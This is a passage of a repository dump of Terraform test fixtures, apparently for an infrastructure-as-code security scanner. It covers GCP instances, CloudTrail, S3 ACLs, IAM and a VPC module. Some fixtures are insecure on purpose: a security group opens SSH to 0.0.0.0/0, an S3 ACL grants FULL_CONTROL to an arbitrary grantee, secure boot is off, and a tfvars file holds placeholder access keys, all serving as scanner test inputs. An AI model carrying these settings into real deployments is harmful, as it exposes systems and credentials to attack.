    "content": "resource \"google_compute_instance\" \"tfer--test3\" {\n  boot_disk {\n    auto_delete = \"true\"\n    device_name = \"test3\"\n    mode        = \"READ_WRITE\"\n    source      = \"https://www.googleapis.com/compute/v1/projects/disco-sector-283918/zones/us-central1-a/disks/test3\"\n  }\n  can_ip_forward      = \"false\"\n  deletion_protection = \"false\"\n  enable_display      = \"false\"\n  machine_type        = \"e2-medium\"\n  name                = \"test3\"\n  network_interface {\n    access_config {\n      nat_ip       = \"34.122.7.28\"\n      network_tier = \"PREMIUM\"\n    }\n    network            = \"https://www.googleapis.com/compute/v1/projects/disco-sector-283918/global/networks/default\"\n    network_ip         = \"10.128.0.4\"\n    subnetwork         = \"https://www.googleapis.com/compute/v1/projects/disco-sector-283918/regions/us-central1/subnetworks/default\"\n    subnetwork_project = \"disco-sector-283918\"\n  }\n  project = \"disco-sector-283918\"\n  scheduling {\n    automatic_restart   = \"true\"\n    on_host_maintenance = \"MIGRATE\"\n    preemptible         = \"false\"\n  }\n  service_account {\n    email  = \"630155383092-compute@developer.gserviceaccount.com\"\n    scopes = [\"https://www.googleapis.com/auth/devstorage.read_only\", \"https://www.googleapis.com/auth/trace.append\", \"https://www.googleapis.com/auth/servicecontrol\", \"https://www.googleapis.com/auth/service.management.readonly\", \"https://www.googleapis.com/auth/monitoring.write\", \"https://www.googleapis.com/auth/logging.write\"]\n  }\n  shielded_instance_config {\n    enable_integrity_monitoring = \"true\"\n    enable_secure_boot          = \"false\"\n    enable_vtpm                 = \"true\"\n  }\n  zone = \"us-central1-a\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/tf_parsing_comparison/tf_old/main.tf",
    "content": "resource \"aws_cloudtrail\" \"tfer--cashdash_trail\" {\n  enable_log_file_validation    = \"true\"\n  enable_logging                = \"true\"\n  include_global_service_events = \"true\"\n  is_multi_region_trail         = \"true\"\n  is_organization_trail         = \"false\"\n  kms_key_id                    = \"arn:aws:kms:us-east-1:098885917934:key/5e7c4a79-bd63-42ca-9ae0-8f8e41f9c2f1\"\n  name                          = \"cashdash_trail\"\n  s3_bucket_name                = \"cashdash-trail\"\n  sns_topic_name                = \"arn:aws:sns:us-east-1:098885917934:clodtrail-sns-topic\"\n}\n\nresource \"google_compute_instance\" \"tfer--sentry-002D-v1\" {\n  attached_disk {\n    device_name = \"sentry\"\n    mode        = \"READ_WRITE\"\n    source      = \"https://www.googleapis.com/compute/v1/projects/be-base-wksp-v1/zones/us-west3-b/disks/sentry-data-v1\"\n  }\n  boot_disk {\n    auto_delete = \"true\"\n    device_name = \"persistent-disk-0\"\n    initialize_params {\n      image = \"https://www.googleapis.com/compute/v1/projects/debian-cloud/global/images/debian-10-buster-v20200910\"\n      size  = \"10\"\n      type  = \"pd-standard\"\n    }\n    kms_key_self_link = \"projects/acme-project/locations/global/keyRings/global-v1/cryptoKeys/global-disk-key\"\n    mode              = \"READ_WRITE\"\n    source            = \"https://www.googleapis.com/compute/v1/projects/acme-project/zones/us-west3-b/disks/sentry-v1\"\n  }\n  can_ip_forward      = \"false\"\n  deletion_protection = \"false\"\n  enable_display      = \"false\"\n  machine_type        = \"n1-standard-2\"\n  metadata = {\n    block-project-ssh-keys = \"true\"\n    some-other-attribute   = \"false\"\n  }\n  name                    = \"sentry-v1\"\n  network_interface {\n    access_config {\n      nat_ip       = \"34.106.48.192\"\n      network_tier = \"PREMIUM\"\n    }\n    network            = \"https://www.googleapis.com/compute/v1/projects/acme-project/global/networks/acme\"\n    network_ip         = \"10.40.0.53\"\n    subnetwork         = \"https://www.googleapis.com/compute/v1/projects/acme-project/regions/us-west3/subnetworks/sentry\"\n    subnetwork_project = \"acme-project\"\n  }\n  project = \"acme-project\"\n  scheduling {\n    automatic_restart   = \"true\"\n    on_host_maintenance = \"MIGRATE\"\n    preemptible         = \"false\"\n  }\n  service_account {\n    email  = \"sentry-vm@acme-project.iam.gserviceaccount.com\"\n    scopes = [\"https://www.googleapis.com/auth/userinfo.email\", \"https://www.googleapis.com/auth/logging.write\", \"https://www.googleapis.com/auth/monitoring.write\", \"https://www.googleapis.com/auth/devstorage.read_only\"]\n  }\n  shielded_instance_config {\n    enable_integrity_monitoring = \"true\"\n    enable_secure_boot          = \"false\"\n    enable_vtpm                 = \"true\"\n  }\n  tags = [\"allow-ssh\", \"allow-sentry\"]\n  zone = \"us-west3-b\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/tf_parsing_comparison/tf_regular/main.tf",
    "content": "resource \"aws_cloudtrail\" \"tfer--cashdash_trail\" {\n  enable_log_file_validation    = true\n  enable_logging                = true\n  include_global_service_events = true\n  is_multi_region_trail         = true\n  is_organization_trail         = false\n  kms_key_id                    = \"arn:aws:kms:us-east-1:098885917934:key/5e7c4a79-bd63-42ca-9ae0-8f8e41f9c2f1\"\n  name                          = \"cashdash_trail\"\n  s3_bucket_name                = \"cashdash-trail\"\n  sns_topic_name                = \"arn:aws:sns:us-east-1:098885917934:clodtrail-sns-topic\"\n}\n\nresource \"google_compute_instance\" \"tfer--sentry-002D-v1\" {\n  attached_disk {\n    device_name = \"sentry\"\n    mode        = \"READ_WRITE\"\n    source      = \"https://www.googleapis.com/compute/v1/projects/be-base-wksp-v1/zones/us-west3-b/disks/sentry-data-v1\"\n  }\n  boot_disk {\n    auto_delete = \"true\"\n    device_name = \"persistent-disk-0\"\n    initialize_params {\n      image = \"https://www.googleapis.com/compute/v1/projects/debian-cloud/global/images/debian-10-buster-v20200910\"\n      size  = \"10\"\n      type  = \"pd-standard\"\n    }\n    kms_key_self_link = \"projects/acme-project/locations/global/keyRings/global-v1/cryptoKeys/global-disk-key\"\n    mode              = \"READ_WRITE\"\n    source            = \"https://www.googleapis.com/compute/v1/projects/acme-project/zones/us-west3-b/disks/sentry-v1\"\n  }\n  can_ip_forward      = \"false\"\n  deletion_protection = \"false\"\n  enable_display      = \"false\"\n  machine_type        = \"n1-standard-2\"\n  metadata = {\n    block-project-ssh-keys = \"true\"\n    some-other-attribute   = \"false\"\n  }\n  name                    = \"sentry-v1\"\n  network_interface {\n    access_config {\n      nat_ip       = \"34.106.48.192\"\n      network_tier = \"PREMIUM\"\n    }\n    network            = \"https://www.googleapis.com/compute/v1/projects/acme-project/global/networks/acme\"\n    network_ip         = \"10.40.0.53\"\n    subnetwork         = \"https://www.googleapis.com/compute/v1/projects/acme-project/regions/us-west3/subnetworks/sentry\"\n    subnetwork_project = \"acme-project\"\n  }\n  project = \"acme-project\"\n  scheduling {\n    automatic_restart   = \"true\"\n    on_host_maintenance = \"MIGRATE\"\n    preemptible         = \"false\"\n  }\n  service_account {\n    email  = \"sentry-vm@acme-project.iam.gserviceaccount.com\"\n    scopes = [\"https://www.googleapis.com/auth/userinfo.email\", \"https://www.googleapis.com/auth/logging.write\", \"https://www.googleapis.com/auth/monitoring.write\", \"https://www.googleapis.com/auth/devstorage.read_only\"]\n  }\n  shielded_instance_config {\n    enable_integrity_monitoring = \"true\"\n    enable_secure_boot          = \"false\"\n    enable_vtpm                 = \"true\"\n  }\n  tags = [\"allow-ssh\", \"allow-sentry\"]\n  zone = \"us-west3-b\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_dependent_policy/main.tf",
    "content": "resource \"aws_s3_bucket_acl\" \"example5\" {\n  bucket = aws_s3_bucket.test.id\n  access_control_policy {\n    grant {\n      grantee {\n        id = data.aws_canonical_user_id.current.id\n        type = \"CanonicalUser\"\n      }\n      permission = \"FULL_CONTROL\"\n    }\n\n    grant {\n      grantee {\n        id = \"xyz\"\n        type = \"CanonicalUser\"\n      }\n      permission = \"FULL_CONTROL\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/complex_var/main.tf",
    "content": "resource \"aws_iam_policy\" \"test\" {\n  name        = \"test\"\n  description = \"test\"\n  policy      = jsonencode({\n    Version = \"1970-01-01\"\n    Statement = [\n      {\n        Effect   = \"Deny\"\n        Action   = \"*\"\n        Resource = \"*\"\n        Condition = {\n          MyCond = {\n            \"key\" = var.ip_list\n          }\n        }\n      },\n    ]\n  })\n}\n\nvariable \"ip_list\" {\n  type = list(string)\n  default = [\"0.0.0.0\", \"1.1.1.1\"]\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_complex_keys/main.tf",
    "content": "locals {\n  name      = \"test_local_name\"\n  namespace = \"test_namespace\"\n\n  labels = {\n    \"app.kubernetes.io/name\"       = local.name\n    \"app.kubernetes.io/instance\"   = \"hpa\"\n    \"app.kubernetes.io/version\"    = \"1.0.0\"\n    \"app.kubernetes.io/managed-by\" = \"terraform\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_deep_nesting/main.tf",
    "content": "resource \"aws_s3_bucket\" \"default\" {\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        sse_algorithm     = var.sse_algorithm\n        kms_master_key_id = var.kms_master_key_arn\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_deep_nesting/variables.tf",
    "content": "variable \"sse_algorithm\" {\n  default     = \"AES256\"\n}\n\nvariable \"kms_master_key_arn\" {\n  default     = \"\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_dictionary_tfvars/main.tf",
    "content": "variable \"aws\" {\n  type = object({ access_key = string, secret_key = string, region = string })\n}\n\nvariable \"vcs_repo\" {\n  type = object({ identifier = string, branch = string, oauth_token = string })\n}\n\nprovider \"aws\" {\n  access_key = var.aws.access_key\n  secret_key = var.aws.secret_key\n  region     = var.aws.region\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_dictionary_tfvars/terraform.tfvars",
    "content": "aws = {\n  access_key = \"AKIAVAN\"\n  secret_key = \"0CU4jk0\"\n  region     = \"us-west-2\"\n}\n\nvcs_repo = {\n  branch      = \"master\"\n  identifier  = \"DTherHtun/deploy-infra\"\n  oauth_token = \"885efa\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_from_module_def_sg/main.tf",
    "content": "module \"sg2\" {\n  source = \"modules\\/security_group\"\n\n  port = 22\n  cidrs = [\"0.0.0.0/0\"]\n\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_from_module_def_sg/modules/security_group/main.tf",
    "content": "resource \"aws_security_group\" \"sg\" {\n  name        = \"sg\"\n  description = \"Allow TLS inbound traffic\"\n  vpc_id      = \"vpc-123\"\n\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = var.port\n    to_port     = var.port\n    protocol    = \"tcp\"\n    cidr_blocks = var.cidrs\n  }\n\n  egress {\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n\n  tags = {\n    Name = \"allow_ssh\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_from_module_def_sg/modules/security_group/variables.tf",
    "content": "\nvariable \"port\" {\n\n}\n\nvariable \"cidrs\" {\n\n}\n\nvariable \"test\" {\n  default = 0\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_from_module_vpc/main.tf",
    "content": "module \"vpc\" {\n  source  = \"./vpc\"\n  version = \"2.47.0\"\n\n  name                 = \"test-vpc\"\n  cidr                 = \"172.16.0.0/16\"\n  private_subnets      = [\"172.16.1.0/24\", \"172.16.2.0/24\", \"172.16.3.0/24\"]\n  public_subnets       = [\"172.16.4.0/24\", \"172.16.5.0/24\", \"172.16.6.0/24\"]\n  enable_nat_gateway   = true\n  single_nat_gateway   = true\n  enable_dns_hostnames = true\n\n  public_subnet_tags = {\n    \"kubernetes.io/cluster/${local.cluster_name}\" = \"shared\"\n    \"kubernetes.io/role/elb\"                      = \"1\"\n  }\n\n  private_subnet_tags = {\n    \"kubernetes.io/cluster/${local.cluster_name}\" = \"shared\"\n    \"kubernetes.io/role/internal-elb\"             = \"1\"\n  }\n}\n\nlocals {\n  cluster_name = \"test-eks-${random_string.suffix.result}\"\n}\n\ndata \"aws_availability_zones\" \"available\" {\n}\n\nresource \"random_string\" \"suffix\" {\n  length  = 8\n  special = false\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_from_module_vpc/vpc/variables.tf",
    "content": "variable \"create_vpc\" {\n  description = \"Controls if VPC should be created (it affects almost all resources)\"\n  type        = bool\n  default     = true\n}\n\nvariable \"name\" {\n  description = \"Name to be used on all the resources as identifier\"\n  default     = \"\"\n}\n\nvariable \"cidr\" {\n  description = \"The CIDR block for the VPC. Default value is a valid CIDR, but not acceptable by AWS and should be overridden\"\n  default     = \"0.0.0.0/0\"\n}\n\nvariable \"assign_generated_ipv6_cidr_block\" {\n  description = \"Requests an Amazon-provided IPv6 CIDR block with a /56 prefix length for the VPC. You cannot specify the range of IP addresses, or the size of the CIDR block\"\n  type        = bool\n  default     = false\n}\n\nvariable \"secondary_cidr_blocks\" {\n  description = \"List of secondary CIDR blocks to associate with the VPC to extend the IP Address pool\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"instance_tenancy\" {\n  description = \"A tenancy option for instances launched into the VPC\"\n  type        = string\n  default     = \"default\"\n}\n\nvariable \"public_subnet_suffix\" {\n  description = \"Suffix to append to public subnets name\"\n  type        = string\n  default     = \"public\"\n}\n\nvariable \"private_subnet_suffix\" {\n  description = \"Suffix to append to private subnets name\"\n  type        = string\n  default     = \"private\"\n}\n\nvariable \"intra_subnet_suffix\" {\n  description = \"Suffix to append to intra subnets name\"\n  type        = string\n  default     = \"intra\"\n}\n\nvariable \"database_subnet_suffix\" {\n  description = \"Suffix to append to database subnets name\"\n  type        = string\n  default     = \"db\"\n}\n\nvariable \"redshift_subnet_suffix\" {\n  description = \"Suffix to append to redshift subnets name\"\n  type        = string\n  default     = \"redshift\"\n}\n\nvariable \"elasticache_subnet_suffix\" {\n  description = \"Suffix to append to elasticache subnets name\"\n  type        = string\n  default     = \"elasticache\"\n}\n\nvariable \"public_subnets\" {\n  description = \"A list of public subnets inside the VPC\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"private_subnets\" {\n  description = \"A list of private subnets inside the VPC\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"database_subnets\" {\n  description = \"A list of database subnets\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"redshift_subnets\" {\n  description = \"A list of redshift subnets\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"elasticache_subnets\" {\n  description = \"A list of elasticache subnets\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"intra_subnets\" {\n  description = \"A list of intra subnets\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"create_database_subnet_route_table\" {\n  description = \"Controls if separate route table for database should be created\"\n  type        = bool\n  default     = false\n}\n\nvariable \"create_redshift_subnet_route_table\" {\n  description = \"Controls if separate route table for redshift should be created\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_public_redshift\" {\n  description = \"Controls if redshift should have public routing table\"\n  type        = bool\n  default     = false\n}\n\nvariable \"create_elasticache_subnet_route_table\" {\n  description = \"Controls if separate route table for elasticache should be created\"\n  type        = bool\n  default     = false\n}\n\nvariable \"create_database_subnet_group\" {\n  description = \"Controls if database subnet group should be created\"\n  type        = bool\n  default     = true\n}\n\nvariable \"create_elasticache_subnet_group\" {\n  description = \"Controls if elasticache subnet group should be created\"\n  type        = bool\n  default     = true\n}\n\nvariable \"create_redshift_subnet_group\" {\n  description = \"Controls if redshift subnet group should be created\"\n  type        = bool\n  default     = true\n}\n\nvariable \"create_database_internet_gateway_route\" {\n  description = \"Controls if an internet gateway route for public database access should be created\"\n  type        = bool\n  default     = false\n}\n\nvariable \"create_database_nat_gateway_route\" {\n  description = \"Controls if a nat gateway route should be created to give internet access to the database subnets\"\n  type        = bool\n  default     = false\n}\n\nvariable \"azs\" {\n  description = \"A list of availability zones in the region\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"enable_dns_hostnames\" {\n  description = \"Should be true to enable DNS hostnames in the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_dns_support\" {\n  description = \"Should be true to enable DNS support in the VPC\"\n  type        = bool\n  default     = true\n}\n\nvariable \"enable_nat_gateway\" {\n  description = \"Should be true if you want to provision NAT Gateways for each of your private networks\"\n  type        = bool\n  default     = false\n}\n\nvariable \"single_nat_gateway\" {\n  description = \"Should be true if you want to provision a single shared NAT Gateway across all of your private networks\"\n  type        = bool\n  default     = false\n}\n\nvariable \"one_nat_gateway_per_az\" {\n  description = \"Should be true if you want only one NAT Gateway per availability zone. Requires `var.azs` to be set, and the number of `public_subnets` created to be greater than or equal to the number of availability zones specified in `var.azs`.\"\n  type        = bool\n  default     = false\n}\n\nvariable \"reuse_nat_ips\" {\n  description = \"Should be true if you don't want EIPs to be created for your NAT Gateways and will instead pass them in via the 'external_nat_ip_ids' variable\"\n  type        = bool\n  default     = false\n}\n\nvariable \"external_nat_ip_ids\" {\n  description = \"List of EIP IDs to be assigned to the NAT Gateways (used in combination with reuse_nat_ips)\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"enable_dynamodb_endpoint\" {\n  description = \"Should be true if you want to provision a DynamoDB endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_s3_endpoint\" {\n  description = \"Should be true if you want to provision an S3 endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_sqs_endpoint\" {\n  description = \"Should be true if you want to provision an SQS endpoint to the VPC\"\n  default     = false\n}\n\nvariable \"sqs_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for SQS endpoint\"\n  default     = []\n}\n\nvariable \"sqs_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for SQS endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  default     = []\n}\n\nvariable \"sqs_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for SQS endpoint\"\n  default     = false\n}\n\nvariable \"enable_ssm_endpoint\" {\n  description = \"Should be true if you want to provision an SSM endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ssm_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for SSM endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ssm_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for SSM endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ssm_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for SSM endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_ssmmessages_endpoint\" {\n  description = \"Should be true if you want to provision a SSMMESSAGES endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_apigw_endpoint\" {\n  description = \"Should be true if you want to provision an api gateway endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"apigw_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for API GW  endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"apigw_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for API GW endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"apigw_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for API GW endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ssmmessages_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for SSMMESSAGES endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ssmmessages_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for SSMMESSAGES endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ssmmessages_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for SSMMESSAGES endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_ec2_endpoint\" {\n  description = \"Should be true if you want to provision an EC2 endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ec2_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for EC2 endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ec2_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for EC2 endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ec2_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for EC2 endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"enable_ec2messages_endpoint\" {\n  description = \"Should be true if you want to provision an EC2MESSAGES endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ec2messages_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for EC2MESSAGES endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ec2messages_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for EC2MESSAGES endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ec2messages_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for EC2MESSAGES endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"enable_ecr_api_endpoint\" {\n  description = \"Should be true if you want to provision an ecr api endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ecr_api_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for ECR api endpoint. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ecr_api_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for ECR API endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ecr_api_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for ECR API endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"enable_ecr_dkr_endpoint\" {\n  description = \"Should be true if you want to provision an ecr dkr endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ecr_dkr_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for ECR dkr endpoint. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ecr_dkr_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for ECR DKR endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ecr_dkr_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for ECR DKR endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"enable_kms_endpoint\" {\n  description = \"Should be true if you want to provision a KMS endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"kms_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for KMS endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"kms_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for KMS endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"kms_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for KMS endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_ecs_endpoint\" {\n  description = \"Should be true if you want to provision a ECS endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ecs_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for ECS endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ecs_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for ECS endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ecs_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for ECS endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_ecs_agent_endpoint\" {\n  description = \"Should be true if you want to provision a ECS Agent endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ecs_agent_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for ECS Agent endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ecs_agent_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for ECS Agent endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ecs_agent_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for ECS Agent endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_ecs_telemetry_endpoint\" {\n  description = \"Should be true if you want to provision a ECS Telemetry endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"ecs_telemetry_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for ECS Telemetry endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ecs_telemetry_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for ECS Telemetry endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"ecs_telemetry_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for ECS Telemetry endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_sns_endpoint\" {\n  description = \"Should be true if you want to provision a SNS endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"sns_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for SNS endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"sns_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for SNS endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"sns_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for SNS endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_monitoring_endpoint\" {\n  description = \"Should be true if you want to provision a CloudWatch Monitoring endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"monitoring_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for CloudWatch Monitoring endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"monitoring_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for CloudWatch Monitoring endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"monitoring_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for CloudWatch Monitoring endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_elasticloadbalancing_endpoint\" {\n  description = \"Should be true if you want to provision a Elastic Load Balancing endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"elasticloadbalancing_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for Elastic Load Balancing endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"elasticloadbalancing_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for Elastic Load Balancing endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"elasticloadbalancing_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for Elastic Load Balancing endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_events_endpoint\" {\n  description = \"Should be true if you want to provision a CloudWatch Events endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"events_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for CloudWatch Events endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"events_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for CloudWatch Events endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"events_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for CloudWatch Events endpoint\"\n  type        = bool\n  default     = false\n}\n\nvariable \"enable_logs_endpoint\" {\n  description = \"Should be true if you want to provision a CloudWatch Logs endpoint to the VPC\"\n  type        = bool\n  default     = false\n}\n\nvariable \"logs_endpoint_security_group_ids\" {\n  description = \"The ID of one or more security groups to associate with the network interface for CloudWatch Logs endpoint\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"logs_endpoint_subnet_ids\" {\n  description = \"The ID of one or more subnets in which to create a network interface for CloudWatch Logs endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used.\"\n  type        = list(string)\n  default     = []\n}\n\nvariable \"logs_endpoint_private_dns_enabled\" {\n  description = \"Whether or not to associate a private hosted zone with the specified VPC for CloudWatch Logs endpoint\"\n  type        = bool\n  